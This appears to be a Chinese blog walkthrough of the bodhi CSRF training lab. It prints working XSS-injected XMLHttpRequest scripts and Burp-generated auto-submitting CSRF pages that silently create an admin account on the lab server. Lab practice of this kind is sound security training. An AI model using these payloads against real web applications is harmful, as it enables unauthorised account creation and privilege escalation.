CSRF靶场练习

实验靶场

项目地址:https://github.com/amolnaik4/bodhi
搭建方式:

apt install docker.io
docker pull amolnaik4/bodhi_app
docker run -p 80:80 -p 8000:8000 amolnaik4/bodhi_app

tip:注意不要和服务器的已开启的服务端口冲突
靶场地址:http://服务器ip:80

在这里插入图片描述
第一次进入需要在首页Setup Bot中输入服务器ip地址
在这里插入图片描述
点击CSRF标签可以看到对应关卡的测试用户
在这里插入图片描述

在这里插入图片描述
Tip:需要说明的是,这里面的Poc都只需要提交即可,admin机器人会每过一分钟自动读取你上传的Poc,上传的文件可以访问服务器8000端口查看。

GET CSRF

GET CSRF是CSRF的表单,其中易受攻击的表单将使用HTTP方法GET提交。在这种情况下,所有表单值都将作为查询字符串传递给表单操作。在这里插入图片描述
攻击目的:创建一个admin用户得到flag

使用测试用户登陆
在这里插入图片描述
题目提示利用表单进行csrf攻击
在这里插入图片描述
随便输入然后看网络流量,找到get请求的地址
S

http://172.16.141.129/add_admin?username=a&password=a&isAdmin=yes&submit=Add User
  1. xss注入

    在Message Board板块构造xss语句,发送。
    在这里插入图片描述
    服务器的机器人admin会自动读取这段xss(每隔1分钟执行一次)

    在这里插入图片描述
    等大概一分钟后就可以去登陆刚才xss语句中尝试创建的用户了

    在这里插入图片描述

  2. 构造一个html page
    在这里插入图片描述
    在Upload PoC板块上传csrf页面
    在这里插入图片描述
    服务器会自动访问该页面,上传的文件可以访问服务器的8000端口看到
    在这里插入图片描述
    回到登陆界面,等待一分钟就可以登陆了。

    在这里插入图片描述

POST CSRF

首先,获取POST数据
在这里插入图片描述

  1. xss注入
    在这里插入图片描述
    异步请求,构造XMLHttpRequest对象,设置请求头,然后使用其发送异步请求。人
    记不到的话,可以直接使用bp生成使用XHR的代码
    在这里插入图片描述

    <script>
          function submitRequest()
          {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://172.16.141.129/add_admin", true);
            xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.withCredentials = true;
            var body = "username=77&password=a&isAdmin=yes&submit=Add+User";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
              aBody[i] = body.charCodeAt(i); 
            xhr.send(new Blob([aBody]));
          }
          submitRequest();
        </script>
    
  2. 表单页面上传
    通过burp自动生成可以自动上传的html页面(在Option 选择包含自动上传脚本)
    在这里插入图片描述
    选好之后还需要点一下下面的按钮生成
    在这里插入图片描述
    这一道题发现要使用XHR才可以(在Option 选择cross-domin XHR)

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
        <script>
          function submitRequest()
          {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://172.16.141.129/add_admin", true);
            xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.withCredentials = true;
            var body = "username=77&password=a&isAdmin=yes&submit=Add+User";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
              aBody[i] = body.charCodeAt(i); 
            xhr.send(new Blob([aBody]));
          }
          submitRequest();
        </script>
        <form action="#">
          <input type="button" value="Submit request" onclick="submitRequest();" />
        </form>
      </body>
    </html>
    
    

    上传之后等一会就可以登陆了

JSON Based CSRF

同样POST数据,不过从表单form数据变成了json数据格式,在这种类型的CSRF中,脆弱的表单将与AJAX请求一起提交,表单值将在POST主体中作为JSON发送。这种类型的CSRF出现在基于REST的api中。

#json格式
{ "acct":"BOB", "amount":100 }

在这里插入图片描述
同样的使用bp工具生成脚本代码
在这里插入图片描述

  1. xss注入

    <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "http://192.168.43.54/add_admin", true);         xhr.setRequestHeader("Accept", "*/*");         xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");         xhr.setRequestHeader("Content-Type", "application/json");         xhr.withCredentials = true;         var body = "{\"username\":\"abc\",\"password\":\"acb\",\"isAdmin\":\"yes\",\"submit\":\"Add User\"}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>
    

    在这里插入图片描述

  2. 页面csrf

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
        <script>
          function submitRequest()
          {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://192.168.43.54/add_admin", true);
            xhr.setRequestHeader("Accept", "*/*");
            xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
            xhr.setRequestHeader("Content-Type", "application/json");
            xhr.withCredentials = true;
            var body = "{\"username\":\"abc\",\"password\":\"acb\",\"isAdmin\":\"yes\",\"submit\":\"Add User\"}";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
              aBody[i] = body.charCodeAt(i); 
            xhr.send(new Blob([aBody]));
          }
          submitRequest();
        </script>
        <form action="#">
          <input type="button" value="Submit request" onclick="submitRequest();" />
        </form>
      </body>
    </html>
    
    
XML Based CSRF

还是和POST表单差不多,不过表单值将作为XML文档发送到服务器,抓包,利用bp工具生成Poc

<xml version="1.0"><transfer><acct>BOB</acct><amount>100</amount></transfer>

在这里插入图片描述

上传页面,admin访问之后就成功创建账户了
在这里插入图片描述

Multi-step CSRF

很少有完成一个动作需要2个或更多表单提交的情况。在这种情况下,攻击者需要精心制作PoC,它将以相同的顺序提交所有需要的,以完成所需的结果。

#form1
POST http://bank.com/transfer.do HTTP/1.1

acct=BOB&stage=1
#form2
POST http://bank.com/transfer.do HTTP/1.1

amount=100

在这道题中,我们可以发现创建用户的时候需要确认2次,提交了2个表单。
第一个提交
在这里插入图片描述
在这里插入图片描述
第二个提交
在这里插入图片描述

在这里插入图片描述
可以看到,post数据中多了一个step参数,不过在最后一步,携带了所以需要的参数。???似乎不应该这样,

使用bp工具生成poc,类型选择多步骤表单。
在这里插入图片描述
在这里插入图片描述

Token Hijacking

通过在表单中使用随机标记并在处理表单值之前在服务器端进行验证,可以减轻CSRF漏洞。如果这样的应用程序容易受到XSS的攻击,则可以从表单访问令牌,并发送带有所需表单值的请求,从而导致所需的操作。这里的关键就是获得令牌。
在这里插入图片描述
不过发现留言那里同样有csrf-token
在这里插入图片描述
???不会阿

  • 2
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值